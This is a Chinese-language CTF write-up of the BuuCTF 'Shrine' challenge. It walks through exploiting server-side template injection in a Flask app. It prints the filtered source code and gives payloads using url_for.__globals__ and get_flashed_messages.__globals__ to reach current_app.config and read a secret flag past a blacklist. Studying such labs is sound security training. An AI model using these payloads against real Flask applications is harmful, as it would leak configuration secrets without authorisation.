BuuCtf-Shrine(SSTI)
BuuCtf-Shrine(SSTI)
前置知识
在 Python 中,每个函数都有一个 __globals__ 属性,它是一个字典,包含了函数定义时所在模块的全局变量。这个属性通常用于内部实现和调试,而不是在日常编程中直接使用。
Flask 中的特有变量及函数
config
config 对象就是Flask的config对象,也就是 app.config 对象
request
Flask中代表当前请求的request对象
session
Flask的session对象
url_for()
url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接
get_flashed_messages()
这个函数会返回之前在flask中通过flask()传入的消息的列表,flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中,再使用get_flashed_message()函数取出它们并消费掉
源代码分析
import flask
import os
app = flask.Flask(__name__)
# flag存储在app对象的FLAG中,取值来自于全局变量
# 直觉:要不直接获取app/要不直接获取app.config
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
# 通过url传参
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
# 过滤
def safe_jinja(s):
# 过滤()
s = s.replace('(', '').replace(')', '')
# 设置黑名单,禁止config/self
blacklist = ['config', 'self']
# 将config、self关键字直接置为None
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
# 进行渲染
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
判断SSTI
在url中写入:
http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{2*2}}
发现页面显示了执行的结果:
判断存在SSTI漏洞
方法1-url_for()
寻找app对象
url_for()函数定义在flask的全局命名空间中,因此通过url_for.__globals__,可以得到该全局命名空间中的所有全局变量(因为app对象是在全局命名空间中)。
http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{url_for.__globals__}}
查看该内容可以发现app对象。
查看app对象
访问app对象,查看其内容。
http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{url_for.__globals__['current_app']}}
发现确实是app对象。
查看config属性
http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{url_for.__globals__['current_app'].config}}
发现很多属性,其中存在flag属性,获取flag即可。
方法2-get_flashed_messages()
这个方法也是定义在flask的全局命名空间中,因此做法跟url_for()是一样的。这里不再赘述,给出payload。
payload:
http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
参考链接
- https://blog.csdn.net/2301_77485708/article/details/131846166
- https://blog.csdn.net/weixin_45677145/article/details/120428409?utm_medium=distribute.pc_relevant.none-task-blog-2defaultbaidujs_baidulandingword~default-0-120428409-blog-131846166.235v43pc_blog_bottom_relevance_base5&spm=1001.2101.3001.4242.1&utm_relevant_index=3
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现